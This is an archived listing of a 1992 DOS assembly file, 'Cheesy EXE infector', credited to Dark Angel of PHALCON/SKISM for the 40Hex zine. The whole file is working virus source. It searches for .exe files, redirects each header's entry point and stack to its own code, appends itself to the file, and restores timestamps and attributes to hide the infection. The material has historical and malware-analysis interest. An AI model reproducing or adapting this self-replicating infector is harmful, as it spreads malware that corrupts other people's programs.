home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CHEESY.ASM < prev    next >
Assembly Source File  |  1992-11-13  |  7KB  |  187 lines

  1.   .model tiny                             ; Handy TASM directive
  2.   .code                                   ; Virus code segment
  3.             org 100h                      ; COM file starting IP
  4.   ; Cheesy EXE infector
  5.   ; Written by Dark Angel of PHALCON/SKISM
  6.   ; For 40Hex Number 8 Volume 2 Issue 4
  7.   id = 'DA'                               ; ID word for EXE infections
  8.   
  9.   startvirus:                             ; virus code starts here
  10.             call next                     ; calculate delta offset
  11.   next:     pop  bp                       ; bp = IP next
  12.             sub  bp,offset next           ; bp = delta offset
  13.   
  14.             push ds
  15.             push es
  16.             push cs                       ; DS = CS
  17.             pop  ds
  18.             push cs                       ; ES = CS
  19.             pop  es
  20.             lea  si,[bp+jmpsave2]
  21.             lea  di,[bp+jmpsave]
  22.             movsw
  23.             movsw
  24.             movsw
  25.             movsw
  26.   
  27.             mov  ah,1Ah                   ; Set new DTA
  28.             lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  29.             int  21h
  30.   
  31.             lea  dx,[bp+exe_mask]
  32.             mov  ah,4eh                   ; find first file
  33.             mov  cx,7                     ; any attribute
  34.   findfirstnext:
  35.             int  21h                      ; DS:DX points to mask
  36.             jc   done_infections          ; No mo files found
  37.   
  38.             mov  al,0h                    ; Open read only
  39.             call open
  40.   
  41.             mov  ah,3fh                   ; Read file to buffer
  42.             lea  dx,[bp+buffer]           ; @ DS:DX
  43.             mov  cx,1Ah                   ; 1Ah bytes
  44.             int  21h
  45.   
  46.             mov  ah,3eh                   ; Close file
  47.             int  21h
  48.   
  49.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  50.             jnz  infect_exe
  51.   find_next:
  52.             mov  ah,4fh                   ; find next file
  53.             jmp  short findfirstnext
  54.   done_infections:
  55.             mov  ah,1ah                   ; restore DTA to default
  56.             mov  dx,80h                   ; DTA in PSP
  57.             pop  es
  58.             pop  ds                       ; DS->PSP
  59.             int  21h
  60.             mov  ax,es                    ; AX = PSP segment
  61.             add  ax,10h                   ; Adjust for PSP
  62.             add  word ptr cs:[si+jmpsave+2],ax
  63.             add  ax,word ptr cs:[si+stacksave+2]
  64.             cli                           ; Clear intrpts for stack manip.
  65.             mov  sp,word ptr cs:[si+stacksave]
  66.             mov  ss,ax
  67.             sti
  68.             db   0eah                     ; jmp ssss:oooo
  69.   jmpsave             dd ?                ; Original CS:IP
  70.   stacksave           dd ?                ; Original SS:SP
  71.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  72.   stacksave2          dd ?
  73.   
  74.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  75.   virusname           db '[DemoEXE] for 40Hex',0
  76.   
  77.   infect_exe:
  78.             les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  79.             mov  word ptr [bp+jmpsave2], ax
  80.             mov  word ptr [bp+jmpsave2+2], es
  81.   
  82.             les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  83.             mov  word ptr [bp+stacksave2], es
  84.             mov  word ptr [bp+stacksave2+2], ax
  85.   
  86.             mov  ax, word ptr [bp+buffer + 8] ; Get header size
  87.             mov  cl, 4                        ; convert to bytes
  88.             shl  ax, cl
  89.             xchg ax, bx
  90.   
  91.             les  ax, [bp+offset newDTA+26]; Get file size
  92.             mov  dx, es                   ; to DX:AX
  93.             push ax
  94.             push dx
  95.   
  96.             sub  ax, bx                   ; Subtract header size from
  97.             sbb  dx, 0                    ; file size
  98.   
  99.             mov  cx, 10h                  ; Convert to segment:offset
  100.             div  cx                       ; form
  101.   
  102.             mov  word ptr [bp+buffer+14h], dx ; New entry point
  103.             mov  word ptr [bp+buffer+16h], ax
  104.   
  105.             mov  word ptr [bp+buffer+0Eh], ax ; and stack
  106.             mov  word ptr [bp+buffer+10h], id
  107.   
  108.             pop  dx                       ; get file length
  109.             pop  ax
  110.   
  111.             add  ax, heap-startvirus      ; add virus size
  112.             adc  dx, 0
  113.   
  114.             mov  cl, 9                    ; 2**9 = 512
  115.             push ax
  116.             shr  ax, cl
  117.             ror  dx, cl
  118.             stc
  119.             adc  dx, ax                   ; filesize in pages
  120.             pop  ax
  121.             and  ah, 1                    ; mod 512
  122.   
  123.             mov  word ptr [bp+buffer+4], dx ; new file size
  124.             mov  word ptr [bp+buffer+2], ax
  125.   
  126.             push cs                       ; restore ES
  127.             pop  es
  128.   
  129.             mov  cx, 1ah
  130.   finishinfection:
  131.             push cx                       ; Save # bytes to write
  132.             xor  cx,cx                    ; Clear attributes
  133.             call attributes               ; Set file attributes
  134.   
  135.             mov  al,2
  136.             call open
  137.   
  138.             mov  ah,40h                   ; Write to file
  139.             lea  dx,[bp+buffer]           ; Write from buffer
  140.             pop  cx                       ; cx bytes
  141.             int  21h
  142.   
  143.             mov  ax,4202h                 ; Move file pointer
  144.             xor  cx,cx                    ; to end of file
  145.             cwd                           ; xor dx,dx
  146.             int  21h
  147.   
  148.             mov  ah,40h                   ; Concatenate virus
  149.             lea  dx,[bp+startvirus]
  150.             mov  cx,heap-startvirus       ; # bytes to write
  151.             int  21h
  152.   
  153.             mov  ax,5701h                 ; Restore creation date/time
  154.             mov  cx,word ptr [bp+newDTA+16h] ; time
  155.             mov  dx,word ptr [bp+newDTA+18h] ; date
  156.             int  21h
  157.   
  158.             mov  ah,3eh                   ; Close file
  159.             int  21h
  160.   
  161.             mov ch,0
  162.             mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  163.             call attributes                 ; attributes
  164.   
  165.   mo_infections: jmp find_next
  166.   
  167.   open:
  168.             mov  ah,3dh
  169.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  170.             int  21h
  171.             xchg ax,bx
  172.             ret
  173.   
  174.   attributes:
  175.             mov  ax,4301h                 ; Set attributes to cx
  176.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  177.             int  21h
  178.             ret
  179.   
  180.   exe_mask            db '*.exe',0
  181.   heap:                                   ; Variables not in code
  182.   newDTA              db 42 dup (?)       ; Temporary DTA
  183.   buffer              db 1ah dup (?)      ; read buffer
  184.   endheap:                                ; End of virus
  185.   
  186.   end       startvirus
  187.